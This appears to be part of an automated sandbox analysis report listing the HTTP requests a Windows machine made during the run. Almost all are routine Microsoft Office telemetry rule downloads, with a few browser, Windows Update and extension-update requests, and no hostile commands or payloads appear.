Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3WFSs6766RwY4Zt&MD=dHw8vdkN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
